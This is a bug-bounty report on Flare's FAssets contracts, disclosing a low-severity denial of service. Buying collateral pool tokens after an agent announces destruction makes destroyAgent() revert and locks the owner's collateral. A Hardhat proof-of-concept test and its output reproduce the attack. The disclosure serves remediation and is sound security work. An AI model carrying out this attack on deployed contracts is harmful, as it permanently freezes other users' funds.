#45499 [SC-Low] Malicious user can prevent agent to be destroyed and lock up his funds
Submitted on May 15th 2025 at 16:51:44 UTC by @holydevoti0n for Audit Comp | Flare | FAssets
Report ID: #45499
Report Type: Smart Contract
Report severity: Low
Target: https://github.com/flare-foundation/fassets/blob/main/contracts/assetManager/facets/AgentVaultManagementFacet.sol
Impacts:
Permanent freezing of funds
Description
Brief/Intro
Malicious users can permanently lock an agent's collateral by buying tokens from the collateral pool after the agent has announced destruction. This prevents the agent owner from completing the destruction process, effectively resulting in a DoS attack that permanently locks the agent's funds.
Vulnerability Details
The agent destruction process in the protocol follows a specific sequence:
The agent owner announces the intention to destroy the agent via
announceDestroyAgent()
After a waiting period, the owner calls
destroyAgent()
to complete the process and recover their collateral
The vulnerability occurs because during the waiting period between announcement and actual destruction, any user can purchase collateral pool tokens from the agent's pool calling CollateralPool.enter()
. When this happens, the destroyAgent()
function will fail at the following check in the CollateralPool.destroy()
function: https://github.com/flare-labs-ltd/fassets/blob/acb82a27b15c56ce9dfbb6dbbd76008da6753c26/contracts/assetManager/implementation/CollateralPool.sol#L833
function destroy(address payable _recipient)
external
onlyAssetManager
nonReentrant
{
...
@> require(token.totalSupply() == 0, "cannot destroy a pool with issued tokens");
...
}
This check verifies that no pool tokens are in circulation before allowing destruction. However, there is no mechanism to prevent users from buying pool tokens after an agent has announced destruction, nor is there a way for the agent owner to force-redeem these tokens.
Here's a step by step on how an attacker can DoS the agent to be destroyed and thus locking up his funds:
An agent announces destruction with
announceDestroyAgent()
The required waiting period passes
A user buys collateral pool tokens with
enter()
When the agent owner attempts to call
destroyAgent()
, the transaction reverts with "cannot destroy a pool with issued tokens"
Notice this is not the same vulnerability that was reported in one of the previous bugs reported in:
it("39933: attacker can prevent agent from calling destroy by depositing malcious token to vault", async () => {
const agent = await Agent.createTest(context, agentOwner1, underlyingAgent1);
// make agent available
const fullAgentCollateral = toWei(3e8);
await agent.depositCollateralsAndMakeAvailable(fullAgentCollateral, fullAgentCollateral);
// deposit malicious token
const MaliciousToken = artifacts.require("MaliciousToken");
const maliciousToken = await MaliciousToken.new();
// previously, this call worked and prevent later calling destroy()
await expectRevert(agent.agentVault.depositNat(maliciousToken.address, { value: "1" }),
"only asset manager");
// close vault should work now
await agent.exitAndDestroy();
});
The reason is that the CollateralPool.enter
allows to DoS the destroying process by minting collateral pool tokens.
Impact Details
Malicious users can permanently lock an agent's collateral by purchasing pool tokens after destruction is announced.
The agent owner loses access to their funds with no recovery mechanism available. Permanent DoS as any user can always mint tokens to prevent the agent from being destroyed.
Proof of Concept
Add the following test in test/unit/fasset/library/Agent.ts
:
describe.only("destroy agent DoS", () => {
it("should revert when try to destroy agent after announced withdrawal time passes", async () => {
console.log("running this test...");
// init
const agentVault = await createAgent(agentOwner1, underlyingAgent1);
const amount = ether('1');
await depositCollateral(agentOwner1, agentVault, amount);
// act
await assetManager.announceDestroyAgent(agentVault.address, { from: agentOwner1 });
// should update status
const info = await assetManager.getAgentInfo(agentVault.address);
assertWeb3Equal(info.status, 4);
await deterministicTimeIncrease(150);
// should not change destroy time
await assetManager.announceDestroyAgent(agentVault.address, { from: agentOwner1 });
await deterministicTimeIncrease(150);
const startBalance = await usdc.balanceOf(agentOwner1);
const pool = await CollateralPool.at(await agentVault.collateralPool());
// @audit - user enter in the pool with 1 NAT to prevent agent being destroyed
await agentVault.buyCollateralPoolTokens({ from: accounts[15], value: amount });
// expect to revert with 'cannot destroy a pool with issued tokens'
await expectRevert(assetManager.destroyAgent(agentVault.address, agentOwner1, { from: agentOwner1 }),
"cannot destroy a pool with issued tokens");
});
});
run: npx hardhat test
Output:
Contract: Agent.sol; test/unit/fasset/library/Agents.ts; Agent basic tests
destroy agent DoS
✔ should revert when try to destroy agent after announced withdrawal time passes (87ms)
1 passing (2s)
Was this helpful?